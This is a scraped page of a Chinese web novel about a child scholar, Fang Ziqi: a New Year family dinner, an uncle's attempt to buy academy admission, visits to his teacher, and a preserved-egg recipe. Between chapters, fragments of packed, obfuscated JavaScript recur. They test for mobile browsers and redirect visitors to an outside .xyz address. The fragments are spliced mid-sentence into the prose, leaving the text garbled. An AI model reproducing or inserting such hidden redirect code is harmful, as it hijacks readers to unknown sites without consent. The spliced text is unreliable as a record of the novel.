RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244311|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子期左右!” “毕竟……那吏部天官的位置,为师亦想去探一探!” 周夫子说到此处,忍不住朝着方子期投去一个戏谑的目光。 毕竟是方子期自己说的,等他功成名就了,就让他周明谦去吏部当尚书…… “咳……” “自当如此!” “自当如此!” “夫子!” “您放心!” “后年的乡试,您必中无疑!” 方子期深以为然点头道。 周夫子的学问本就不差。 再加上现在还有大宗师间接给他充电,中榜机会还是极大的。 “哈哈!” “到时候我同子期同赴考场!” “你我师徒若能同榜有名,那自是极好的了!” 周夫子感慨一声,干劲十足! 因周夫子就住在方子期隔壁这间房,所以方子期可是很清楚,周夫子每晚至少都是要学习到子时的。 第二天鸡鸣就起。 睡得比狗晚,起得比鸡早。 如此刻苦,焉有学问不提升之理? 年内的日子。 倒是一片祥和。 前线的叛军和左骑军保持了一种微妙的平衡。 小摩擦不断,但是大摩擦没有。 这倒是给战乱中的所有人,留了个喘息的机会。 一眨眼。 年末已至。 苏静姝早早地就将年货采购回了家。 说这是他们在省城过的第一个年,定要热热闹闹的。 鸡鸭鱼肉。 一样都不能少! 除夕那天。 老爷子方守义、奶奶柳氏早早地就被接了过来。 还有三叔一家、大姑一家、大伯一家也一起来了。 至于二姑一家…… 原本是不想叫的。 谁知道除夕那天,二姑夫陈景行愣是主动送了几十斤白面和两条腊肉来。 说是粮行给的节礼,家中吃不完,特地送来了。 如此这般。 还能如何? 都送礼来了,什么意思还不明显吗? 遂。 就一起吃了顿年夜饭。 方子期家租住的这个一进院虽不算小。 但是一下子涌进这么多人…… 那也是相当恐怖的。 最后连书桌都弄出来当餐桌用了。 几家人凑在一起。 闲聊一番,倒是别有一番滋味。 第164章 周明谦:神童不是白萝卜 “二弟妹!” “我听我那亲家孙员外说,学政夫人送了你一匹布?叫…叫什么花锦?” “说是至少价值两百两银子一匹?” “当真这般值钱吗?” 大伯母赵氏此刻眼珠子都快要凸出来了。 言语中不无羡慕之意。 更徒增了一些妒忌。 因苏静姝拿不定这妆花锦到底价值多少钱,所以在某一次孙员外来家拜访时,让他掌掌眼,孙员外自是见过世面的,当即就笃定,这是顶好的妆花锦,没有两百两银子下不来。 这事。 不知怎的就传出去了。 “反正孙员外是这样说,是真是假就不知道了。” “哎!” “要说这么好的布,又舍不得穿。” “况且还是学政夫人送的,总不好拿去布庄卖。” “这东西啊是好东西。” “就是用不上。” 苏静姝嘴上这样说着,得意早就写在脸上了。 “二嫂!” “你可别得了便宜还卖乖!” “咱家子期得了那学政大人青睐!” “将来前途大着呢!” “以后这好布多得你穿都穿不过来!” “二嫂!你可真有福气啊!” “子期这般有出息!你就等着当诰命夫人吧!” 三婶王氏现在只要到方家来,那嘴就像是灌了蜜似的,好话像是不要钱似的往外说。 大家都在热络地说话。 只是方秀云…… 下意识被隔离了。 她倒是想过来插话,但是她插话根本没人愿意接。 这关系处的,那叫一个膈应。 “说起来……” “大嫂。” “大哥之前姘的那个寡妇呢?” “怎么再也没听你说起过了?” 苏静姝好奇道。 之前她这大嫂每次一来,定是要说这寡妇狐狸精的事情。 当时这寡妇好像还怀了孕。 “呵!” “说起来也是报应!” “那寡妇不知怎的,突然就没了踪影。” “那段日子,你大哥好一阵愣神。” “后来听说这寡妇好像是得了一大笔银钱,然后就走了。” “也不知是谁给的银钱……” “哎!” “我这命苦。” “只能稀里糊涂的,将这日子继续过下去了。” “对了二弟妹。” “我听说周夫子现如今在你家授课?” “回头能不能将我家文舟和文轩也送来?” “这周夫子的学问定是极好的!” “否则也不可能这般短时间内,就将子期和仲礼都教成了秀才!” “我家文舟和文轩也是极聪明的,就是啊,少了个好夫子。” “要不然也定然早早就中了秀才。” 大伯母赵氏眼珠子里面泛着精光。 此话一出。 苏静姝就不笑了。 合着。 打的这个主意? “周夫子现在也要备考后年的乡试呢!他可没什么时间精力再招学生了。” “况且你家在城北,过来一趟也不方便,此事就算了吧!” “周夫子这个人,喜欢清净!” 苏静姝直接给回绝了。 虽说现在他们家和大伯家关系缓和了些。 但…… 都分了家了。 老爷子和老太太还在,表面关系维持下就差不多了。 但古话说得好,道不同不相为谋,想太多也无用。 “这样么?” “不过周夫子这般有才学的人,定还是希望能多教出几个天才学生的。” “没道理碰上神童学生他不收啊!” 大伯母赵氏嘟囔了几声,随即居然跑去找周夫子言说此事了。 周夫子一脸淡漠道:“我已无收徒之心!我要安心备考!” 反正就这么一句话! 而且这赵氏说的什么话? 神童? 方文轩还是方文舟? 真当神童是大白菜呢? 遭到了周夫子的严词拒绝后,赵氏的情绪显然就差了许多。 “对了,二弟妹,大丫过完年就十五岁了吧?” “这也到了相看的岁数了。” “可要我帮着介绍?” “我租赁的这房子主家有个郎君,可是相当不错,家里面开着香烛铺子的!那小郎君我见了,长得虽一般,但家里营生好,不缺吃喝的……” “若是大丫嫁过去啊!定是要享福的!” “我是看着大丫长大的,自然不会让大丫受苦就是了!” “这小郎君家虽比不上孙员外家富贵,但是在这省城也算是有头有脸的了……” “就是他家孩子多了些……” “但这也不是什么大问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244312|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题!” 大伯母赵氏突然来了兴致,想做一次媒婆。 苏静姝眉头皱了皱。 她听来听去,也没听出个什么道道来。 开香烛铺子的家庭,在这省城内,勉强算是有口饭吃。 但听赵氏这意思,这小郎君长得一般?那必然是长相丑陋了。 就这? 打的什么主意她还能不知道? 真要是撮合成了,以后赵氏租赁人家的房子是不是就可以不用给房租了? 苏静姝深吸一口气,暗示自己别生气,今天是除夕……大好日子,别给搅了。 他们家现在好歹也是一门两秀才! 她儿子还是院试案首! 不说她家如今是书香门第,也算是耕读传家吧? 她们家的家境,让大丫嫁个读书人,过分吗? 这大嫂…… 当真是乱扯姻缘线! 苏静姝嘴上不说,心中已是极不满了。 好在三婶王氏是个有眼力见的。 “大嫂,那小郎君可有功名在身?” “这大丫的弟弟和爹可都是秀才。” “再加上子期天资聪颖,将来定是要中举人中进士的!” “能与大丫相配的,少说也得是个秀才吧?” “不然大嫂你这不就是在胡乱攀扯吗?” 三婶王氏直接怼道。 “功名……虽…虽没有,但…但听说是读过几年私塾的……” “毕竟人家是省城的坐地户……” “吃喝不愁……” “我是真心为了我那侄女大丫……” 大伯母赵氏又叭叭叭地说了一大通。 苏静姝转身直接去了厨房,压根懒得废话了。 还是那句话,道不同不相为谋! …… 正堂内。 老爷子坐在主位上。 方家几个男丁分坐左右。 “二弟!” “听说你同子期开年就要去省学读书了?” “那省学我听说了,还有进士老爷授课呢!” “可是个好去处!” “不过省学要求也高,非秀才不得入!” “二弟!” “其实我也是秀才。” “你帮我运作一番,让我也进省学读书如何?” “需要多少银钱,你同我讲!” 大伯方伯山此刻眼珠子都快要瞪出来了。 那一副渴求姿态…… 第165章 大伯,有钱能使鬼推磨 方伯山一直对自己的天资很自信。 他觉得自己之所以读书这么多年才是个秀才,就是因为家里太穷,拖累了他。 因为家里穷,没机会遇到名师,才耽误了他! 现如今省学机遇摆在眼前…… 他觉得自己若是能进省学读书,那乡试也未必没有机会! 方仲礼一阵无言…… 他这大哥…脸是真大啊! 不过倒也是他大哥的一贯作风就是了。 “大哥!” “我之所以能入省学,那都是子期托了大宗师的关系。” “否则这省学哪是那么好进的?” 方仲礼此言就算是婉拒了。 但是方伯山像是没听懂似的,继续追问。 “大宗师的门路?” “早就听说子期经常出入大宗师的府邸!” “那想必此事有戏?” “子期!” “你可就只有我这么一个大伯……” “你同大宗师说说!” “凭大宗师的能力,塞个人入省学,也就是一句话的事情。” “子期,你放心,等我在省学中学有所成后,定能一举中举!” “届时,光耀的也是我们方家的门楣!” 方伯山昂着头,一副我之言太有道理的模样。 人的脸皮一旦厚到一定地步,确实容易无敌。 “大伯。” “刚才你说,只要让你入省学,银钱不是问题?” “找大宗师通融…怕是难了。” “但是用银钱开路…我倒是还有些门路的。” “只要大伯舍得出钱。” 方子期嘴角一扬道。 “啊?” “当真如此!” “子期!你果真是我的好侄儿啊!” “快!” “你快快说来!” “只要有门路,银钱都是小事!” 方伯山满目激动道。 “嗯!” “按照市场价。” “一个省学名额…要这个数。” 方子期伸出了一根手指。 “一百两?” “成!” “凑一凑总是有的。” 方伯山心中一痛,但是为了自己能中举,此刻也知道要下血本了。 “非也!” “大伯,你当省学是什么地方了?” “现在这世道,一百两够干什么的?” “若是一百两一个省学名额,恐怕省学早就人满为患了。” 方子期撇嘴道。 “你是说…一千两?” “我的个老天爷……” “呼……” 方伯山身体一颤。 一千两对他而言是天文数字了。 “一千两…虽是天价……” “可若是我要入省学读书,我那亲家定是要支持我的。” “回头我去同我那亲家说一说……” “只要我能中举,一千两白银又算得了什么!” 方伯山做好了心理建设,此刻捏紧双拳,一副豁出去的架势。 “大伯!” “格局要大!” “不是一千两,是一万两!” “只要大伯愿意拿出一万两来!” “省学名额包在我身上了。” 方子期大包大揽道。 方伯山嘴一歪,眼珠子一瞪…… “啥?” “一万两?” “疯了?” “那省学还能保我必中举不成?” 方伯山顿时偃旗息鼓了。 一万两…… 就算是他亲家孙员外,想要拿出来也得倾家荡产了。 所以…… 这是不可能的事情。 一千两还能马马虎虎…… “哎!” “太可惜了!” “大伯,那我也没办法了。” 方子期两手一摊,无奈道。 不是我不帮你,实在是你穷啊! 方伯山脸色青一阵白一阵。 他总感觉他这侄儿是不是在拿他开涮? 若非一万两银子实在太多,他是真想试上一试! 你若拿了银钱,届时无法让我入省学,到时候看你怎么交代! 不过可惜没如果就是了。 除夕夜。 方子期大快朵颐,吃了个爽快。 大人们喝着酒,就开始伤春悲秋,叹息声不断,大多在吐槽这个遭瘟的世道。 孩子们吃饱喝足,就聚在一起放炮竹,倒是别有一番滋味。 守夜到子时四刻…… 就算是跨年了。 永德二十六年! 来了! 方子期,九岁了! 世道! 更乱了! 坏消息是老皇帝的身体更差了! 好消息是老皇帝撑到现在还没噶! …… 正月里。 有着家家户户拜年的传统。 省城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244313|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,对于方子期家而言,能拜年的也就那九家从禾阳县一起来的。 互相拜拜年,也能讨个喜庆。 “子期!” “给方夫子家和大宗师家准备的节礼都准备好了。” “方夫子家爹同你一起去。” “但是大宗师家……” 方仲礼有些踌躇。 他也不知道大宗师欢不欢迎他去。 毕竟人家柳大宗师相中的是他儿子。 “爹!” “你也算是大宗师的学生,一同去吧!” 方子期道。 随即方子期的目光看向给大宗师准备的节礼,算是相当丰富了。 湖笔两支!选用的是湖州善琏镇产的“兼毫笔”! 狼毫为柱、羊毫为被!笔杆是用湘妃竹制成的,相当珍贵,在孙员外的店铺内,这一支湖笔就要好几两银子了。 一锭松烟墨、一锭云纹方墨、一锭蝉形墨…… 一刀上好的宣纸! 外加一些糕点、茶叶等…… 这些礼备下来,已是大几十两了! 就这,还是因为笔墨纸砚是在孙员外的书铺购置的,所以大部分都是成本价。 不然还要更贵。 购置这些的时候。 方子期明显能感觉到他爹娘心疼得直哆嗦。 方子期劝说可以少买一些…… 人家大宗师还差这点? 但是这一次他那守财奴性格的娘亲倒是显得很倔强。 “儿啊!这钱不能省!” “柳夫人能送我家价值两百两的布,咱们家也不能太寒酸了!” “这都是礼尚往来的!” “更何况大宗师时常指点你读书,是你的恩师!礼物更应当重一些才是!” “都是爹娘无用,也就只能给你准备这些礼物了。” “若非如此,这礼还应当更厚重些才是!” 苏静姝一脸郑重道。 贪财可以。 但是不能什么财都贪,什么钱都想省。 殊不知贪小便宜吃大亏! 正月初二。 方子期带着方仲礼来到了柳府。 看着那人山人海、车水马龙的架势,让方子期有一种掉头就走的冲动。 好家伙…… 门口那马车成群结队的,直接将路都给堵**。 这场景…… 让方子期梦回了县试、府试和院试放榜时的场景! 第166章 爹,拿出刑部尚书的气势来 真的丝毫不夸张…… “子期,等你当官了,不会以后正月里咱家门口也是这番场景吧?” “这可怎么招待得过来。” 方仲礼擦了擦额头上的冷汗,顶不住了。 “额……” “大差不差吧。” “这表明大宗师‘人缘’不错。” “不过这些人,大多也没机会进去就是了。” “大多数也就是过来走个过场,可能节礼都送不进去。” 方子期看得很通透。 这人山人海的…… 方子期想往里挤都难。 挤了一阵,方子期就不想挤了,已经打算过几日再来了。 “方小相公!” 这个时候,柳府的管家王贵走了过来。 “方小相公也是来拜见老爷的?” “快里面请!” “这位是……” 管家王贵看向方仲礼,他是第一次见方仲礼。 “王叔,这是我爹。” 方子期介绍道。 “啊?” “原来是方相公!” “快快快!里面有请!” 王贵在前面引着路,方子期和方仲礼跟上,总算是挤进了柳府! 眼看着方子期和方仲礼鱼贯而入。 一时间外面那些人群就开始窃窃私语了。 “此二人是谁?居然能让王管家亲自引入府中?” “不知道啊,也没见过……” “能让王管家如此客气对待的,应当不是无名之辈才是……” “许是哪家大人家的公子吧……“ …… 入了柳府。 方子期和方仲礼将茶水喝到饱…… 约莫一个时辰后。 柳承嗣才匆匆赶来,此刻满脸的疲惫。 “子期来了。” “仲礼也来了。” “实在抱歉。” “来往宾客太多了。” “招待不周了。” “今日留下一起吃午食吧!” 柳承嗣揉了揉胀痛的眉心,连忙灌了一口茶水道。 方仲礼此刻拘束地起身站在那,方子期大踏步上前。 “老师。” “吃饭就不必了。” “这是学生准备的些许节礼,还望老师不要嫌弃才是。” 方子期将节礼送上。 “这是……松烟墨?” “湖笔?” “这些价值可不菲!” “子期!” “我知你家不富裕,买这些中看不中用的东西做什么?” “这一次我就收下了。” “以后莫要如此破费了。” “你我师徒之间,不必如此。” “你若有心,空手来就好,我亦高兴。” 柳承嗣嘴上这样说着,心中却是暖洋洋的。 他这个学生啊,同他父亲一样,皆是知恩必报的实在人! 自己稍加帮助,这小子就恨不得掏出家产来买节礼送予他。 好一颗赤子之心啊! 实属难得! 将来这小子真要是入了官场,必定会是自己的左膀右臂! 只可惜…… 岁数实在太小了些。 不过…不正是因为岁数小,所以才有无限可能吗? 将来自己儿子…说不定还能受到这份恩惠的反哺。 “老师辛勤教我学问。” “学生略备薄礼,聊表寸心罢了。” “老师,今日我同我爹就不叨扰您了,来日学生再登门拜访。” 方子期很识趣道。 柳承嗣这都忙到脚打后脑勺了,他和他爹还在这里杵着干啥? 听到方子期此言,柳承嗣不由得又暗自颔首。 此子…极擅察言观色,将来若是到了官场上也必定是游刃有余啊! 有些人,天生就适合做官。 柳承嗣自认为自己的眼光是不差的。 否则他也不可能区区五六年时间就从进士做到如今的正四品学政的位置上! “嗯!” “既如此你们就先去吧!” “来年到了省学,定要静心读书!” “莫要被外物所侵扰!” “若有事,可直接来寻我!” “通衢府内。” “我还是有几分薄面的。” “只要你父子所做之事不是作奸犯科之举,皆不用担忧。” 柳承嗣说完,就拿起了茶盏。 方子期连忙道谢后就知趣地离开了。 从柳府出来。 又是近乎肉搏般地挤压了一场。 还好方仲礼的身体素质还算不错,一路护着方子期逃了出来。 看着柳府那门庭若市之景,方仲礼还在那里啧啧感叹。 “爹!” “明年给大宗师送节礼定要迟几日了。” “我可不想再被挤了。” 方子期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再见故友,税课司大使 过完了正月里懒散的日子。 转眼间就到了省学开学的日子了。 方子期兴致满满。 他可没忘了省学那还有一千多两银子等着他去拿呢! 虽不是第一次来省学了,但再来时,仍旧被省学那雄浑的气势所震撼。 进入省学,亮出身份牌,门童带着方子期和方仲礼来到黄字号四班。 或是因为黄四班是黄班中的最后一个班,所以人数并没有满额,加上方子期和方仲礼,也只有二十四人。 而且相当一部分都是才入学的学生。 人群中。 方子期突然看到一道熟悉的身影…… 而这道身影显然也看到了方子期。 当即…… 四目对视。 “子期!” “允谦兄!” 方子期大踏步上前,脸上露出惊喜之色。 花允谦亦然。 “子期!” “果真是你!” “我还以为自己看错了呢!” 花允谦满脸堆笑,此刻旧友相逢,那种快意非三言两语能够随意描述。 眼见着夫子还没来。 花允谦忍不住跟着方子期攀谈起来。 “你们走后。” “我就催着我爹走。” “他那家伙,若非我催着,恐怕还真不急。” “后来,走了门路,他就去对面的苍梧府当了推官。” “还好跑得快。” “不然想走门路都走不了了。” “我爹调任没多久,叛军就杀到宁江府了。” “子期!” “还是你有眼光,早就跑路了。” “你的格局可比我爹大多了。” 花允谦忍不住感慨道。 “花县令去苍梧府当推官了?” “平调?” 方子期愕然道。 这苍梧府的推官也是正七品。 原本的禾阳县县令也是正七品。 本来这一次花县令应当是升官的。 就这,还要花钱找门路? “平调就不错了。” “我听说宁江府还有县令花钱将自己调去南方当县丞的呢!” “我爹这是因为实打实的有了进献曲辕犁的功绩,再加上出了个子期你这样的院试案首,所以尚且还能平调。” “算了!不说这些糟心事了!” “反正咱们能相聚就极好了。” “砚秋兄呢?” 花允谦忍不住询问道。 “砚秋也在省城,每日都会去家听周夫子授课!” “前几日砚秋兄还在念叨你呢!” “我家现在就住在墨香街上。” “允谦兄当下住在哪?” 方子期道。 “我住在我爹一个同窗家中呢!” “暂时还没找住处!” “这不是想着,等同子期你汇合了,回头在你家附近安置个宅子就好了。” “对了子期、方叔!” “我给你们介绍一下。” “这位是林疏桐林兄,我现在就借住在他家!” “他爹是通衢府的税课司大使!” “这可是个油水相当足的职务!” “以后咱们出去,都让他掏钱!” 花允谦指了指一旁的一个约莫二十岁左右的青年男子半开玩笑道。 所谓的税课司大使,其实就是负责征收当地的商业税收的。 所以大小商户都要将其当成土地爷供起来。 一般来说,县城的税课司大使是从九品,府城的税课司大使是正九品。 级别虽不高,但是油水确实一等一的足。 “林兄,初次见面,多多指教。” 方子期拱拱手道。 方仲礼也在一旁打了个招呼。 “子期兄……” 林疏桐连忙在一旁还礼,但是在看向方仲礼的时候,稍微犹豫了下,随即叫道:“方叔!” 这是真不好叫…… 他若是同方仲礼同辈论交,那方子期就成他侄子辈了? 若是同方子期同辈论交,自然就只能称方仲礼为叔了…… 索性,就跟着花允谦一样叫法了。 “子期兄。” “其实……” “我们见过面。” “正月初二,在大宗师府邸前。” “只是当时我在门外进不去,看着子期兄和方叔被王管家引入府了。” 林疏桐苦笑一声道。 同时他对方子期和方仲礼也高看了一眼。 虽然通过交谈,他知道方子期和方仲礼都是寒门出身。 但…… 能够让大宗师如此重视的寒门,他一个正九品税课司大使的儿子能不重视吗? “呀!” “子期!” “你现如今同大宗师已如此熟络了?” “子期啊子期!” “以后发达了,可得带带我!” 花允谦搓搓手笑着道。 花允谦素来是这般性子,方子期倒也见怪不怪了。 很快。 夫子来了。 众人才歇了继续交谈的心思。 黄字号四班的夫子名唤韩慎修,四十多岁的年龄,有着举人功名在身,为人不算严肃,脸上总挂着温和的笑容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当国家治理地很不错的时候,有本事的读书人亦不可独善其身,总说‘怀才不遇’,哪怕没有走上仕途,也应当用自己的学识去帮助百姓,,如此才不枉费苦读的圣贤书!” “子期,你可理解了?” 韩夫子和颜悦色道。 “多谢夫子解惑!” “学生还有一些其他问题……” 第168章 允谦兄,让你爹好好升官 方子期一股脑地将自己的疑惑全抛出去。 这位韩夫子也仍旧十分平和地回答着。 时不时的。 还能同方子期讨论几句。 氛围倒是极好。 眼看着课间时间过了一半,方子期也连忙告辞了。 总得给韩夫子留一些休息时间才是。 这省学,没白来。 等回到座位上。 方子期忍不住感叹道:“韩夫子学问极好,真论起学问,恐怕府学的秦夫子都不及也!” “爹!” “咱们运气不错,刚来省学,就遇见了一位好夫子。” “爹!以后我去向夫子询问问题的时候,你就跟在我身后,听一听也是好的。” “若你有问题,也可一并询问于韩夫子。” “韩夫子脾气秉性极好。” “你问他问题,他也会欣然解答的。” “爹!别有问题总是藏着掖着。” “哪有无师自通的道理?” “学问学问!既要学,也要问!” “你可明白?” 方子期看向方仲礼,提点道。 他这爹在勤学苦读上确实没毛病,在读书上堪称劳模,哪怕是现在的周夫子苦读的劲头都不如他。 就是这嘴…总像是被针线缝上了一样。 你说你在那些大官面前支支吾吾的,说不出来话就算了。 在夫子面前怕个锤子啊。 都说了以后让你当正二品的刑部尚书! 格局要大! “爹知道了。” 方仲礼低着头,喏喏道。 等下一次方子期再去询问问题时,方仲礼就紧随其后,虽还是不言语,但是只听,亦受益匪浅。 “这位学员,你可有什么问题?” 韩夫子见方仲礼站了许久,忍不住主动询问道。 “啊?” “我…我……” “夫子,《孟子??离娄上》中会所‘徒善不足以为政,徒法不足以自行’,而《荀子??君道》中则是强调‘法者,治之端也’!” “这孔孟儒学与荀子之学…在对‘德’与‘法’的认知中是否有悖论?” 方仲礼深吸一口气,随即问出了压在心底良久的问题。 万事开头难。 开头打好基础后。 只是的事情自然就水到渠成了。 眼看着方仲礼同韩夫子之间的交流越来越和谐,方子期暗自感叹了一句:孺爹可教也! …… 省学的日子。 平淡而充实。 当然。 每逢休沐,方子期还是会去一趟柳府的,这关系,还是要维持。 至于红烧肉和卤肉,方子期让方虎隔三差五地送一次过去。 他现在既已在省学读书,自然不可能天天往柳府跑了。 花允谦特地在墨香街上租了个一进院,独自居住。 为了排解寂寞,这家伙还给方砚秋准备了个房间,想着让方砚秋以后能陪陪他。 这样一来,方砚秋也不用每日来回奔波、往返方子期家了。 虽说方砚秋家在城南租了个宅子,但是距离墨香街还是有一些距离的。 “子期!” “开春了!” “左骑军同叛军又要开打了!” “我听说叛军的势力越来越强了。” “反观左骑军那边…一直也不见长进。” “我怕…这一仗怕是要败啊!” 花允谦素来对这些国家大事很感兴趣,时不时的,就要拉上方子期畅谈一番。 “皇帝身体如何了?” 方子期只在乎这个。 “额……” “我也不知道。” “不过都是**病了。” “都多少年了。” “去年皇帝的病情恶化了一次,但是也将冬天给撑过去了,应当没什么事吧?” “子期!” “你这么在乎皇帝的身体做什么?” “难不成陛下若是崩了,还能影响到叛军?” “这京城隔着十万八千里,应当…影响不大吧?” 花允谦抓了抓脑壳,此刻看问题相对来说还是比较局限的。 “影响不大?” “允谦兄。” “陛下若是崩了。” “晋王能按兵不动?” “到时候若是有圣旨将皇位传给他,那他是不是得带着左骑军进京登基?” “那到时候汉江省没了左骑军牵制叛军,还能有好?” 方子期摇摇头,非是他危言耸听,实在是那位老皇帝确实死死地拽着大梁朝最后一丝国运。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘,咋了?” “怎么都无精打采的?” 方子期询问道。 “儿啊!现在这市面上已经出现了其他家发的芽菜了!” “你三叔他们今日的芽菜卖了一天才算堪堪卖完!” “以后咱家这芽菜买卖,怕是不长久了。” 苏静姝叹了口气。 这芽菜的买卖是真挣钱啊! 不说日进斗金,这一天发个三四百斤芽菜,也不用自己出去卖,让大舅三叔他们出去卖,一斤芽菜方家净利润就能得五文钱了,每天可都是一二两银子的进项。 一个月差不多都是五十两银子的净利润! 家里的铜钱都堆成小山了! 谁知道才做了两个来月。 就有其他的竞争者了。 方子期松了口气。 他还以为家里面出了什么大事了呢! 一大家子的人全都在那里愁眉苦脸的。 原来就这。 “娘!” “我早同你说过,这发芽菜说难也难,说简单也简单。” “以前市场上没有,是大家不知道这黄豆还能制作出芽菜来。” “现在咱们家每天都在卖芽菜,大家都知道这东西是芽菜做的,自然也就琢磨了。” “所以啊。” “大家知道了,这一点也不稀奇。” “这芽菜买卖撑了两个多月已经很出乎我的意料了。” “就目前来说,虽然有其他家发的芽菜,但是品质应当还没有那般好。” “咱们家的芽菜稍微降低一些价格出售,还是有一些市场的。” “不过…可能也就是这一两个月…以后啊想赚大钱就不容易了。” “顶多就挣些辛苦钱。” 方子期在一旁分析道。 “是这么个道理。” “小妹,子期说得对!” “咱们回头降低些价格卖,还是好卖的。” “原本咱们卖十文钱一斤,降到九文钱好了,回头给我们算提成的时候,按照一斤一文钱算就行了。” “这两个月卖芽菜,咱们家家户户都挣了十多两银子,已经很满足了。” 二舅苏锻生连忙道。 贵在知足! “我也觉得是这么个道理!” “现在是乱世,田地也便宜。” “十多两银子,能买好几亩田地了!” “我琢磨着要不要去省城周边找个村子买些田地来种……” “自己种粮,心里不慌。” 三叔方叔信嘿嘿一笑,此刻一门心思的,还想着种田。 只能说…… 对田地爱得深沉。 “也只能如此了。” “以后……” “慢慢地少发一些芽菜好了。” “鱼身算是吃完了,只能吃一吃鱼尾巴了。” “不过好在…再过几个月,就又能卖红烧肉和卤肉了。” “这才是咱家的好买卖。” 苏静姝眉毛一扬,想到此处,心情顿时就好了许多。 等三叔大舅他们归家。 苏静姝虽然心情好了一些。 但还是在怀念之前日进斗金的日子…… “娘!” “芽菜买卖暂时不好做,那就搭配着做,做做其他的买卖啊!” “娘,市面上没有松花蛋吧?” 方子期想了一下,从小到大,咸鸭蛋倒是吃过,但是这松花蛋确实一次没见过。 “松花蛋?” “那是什么蛋?娘听都没听过……” “子期!” “这东西…好吃吗?” 苏静姝眼前一亮…… 干劲又兴起来了。 “当然!” “书上说…这松花蛋的蛋清弹滑如冻…其蛋黄绵密地如同膏脂!” “初吃的时候微微咸润,细品之后鲜香醇厚!” “配上小葱和豆腐,滋味更是鲜美至极!清爽又解腻!” “嗯!这松花蛋是由鸭蛋制作而成的。” “如果娘你想做,就先去买一些鸭蛋回来,到时候我教你做就是了。” 方子期简单形容了一下松花蛋的滋味。 一时间,他也不由得有些味蕾生津。 这皮蛋豆腐…… 亦是他的最爱啊! “好好好!” “我儿说好吃!那就定然好吃了!” “娘去买鸭蛋!” “先去买上一百个回来试一试!” 苏静姝点点头,一扫之前的阴霾,此刻满脸笑意。 等苏静姝将鸭蛋买回来后。 方子期也已经将脑子里面制作松花蛋的步骤梳理地差不多了。 “娘!” “想要制作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244317|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松花蛋,选材上要格外注意,必须要选择新鲜的鸭蛋,新鲜的鸭蛋蛋黄油脂足,口感更好!而且绝不能选择有裂纹的鸭蛋!” “然后取一些草木灰…嗯!也就是稻草、麦秆或是豆秆焚烧之后的灰烬,这些家家户户应当都有!用筛子将草木灰的粗渣筛掉。” “然后需要购置一些盐来,盐的作用就是调味和防腐!” “若是想要味道更好些的话,最好再加一些花椒、八角、松柏枝之类的,没条件就算了,毕竟要控制成本。” “之后最关键的一步就是调整泥料!” “将筛好的草木灰按照五份草木灰、一份盐、三份水的比例混淆在一起,反正差不多你用手抓着泥料能成团,然后落地不散就算是成了!” “之后再泥料中加入清水,若有花椒八角这些,这个时候就可以将其粉末也加入其中,反复将其揉搓,使其变成粘稠状!” “揉搓好后,静置半个时辰!” “最后就可以将鸭蛋在泥料中滚一滚,确保蛋壳均匀裹上泥料就成!” 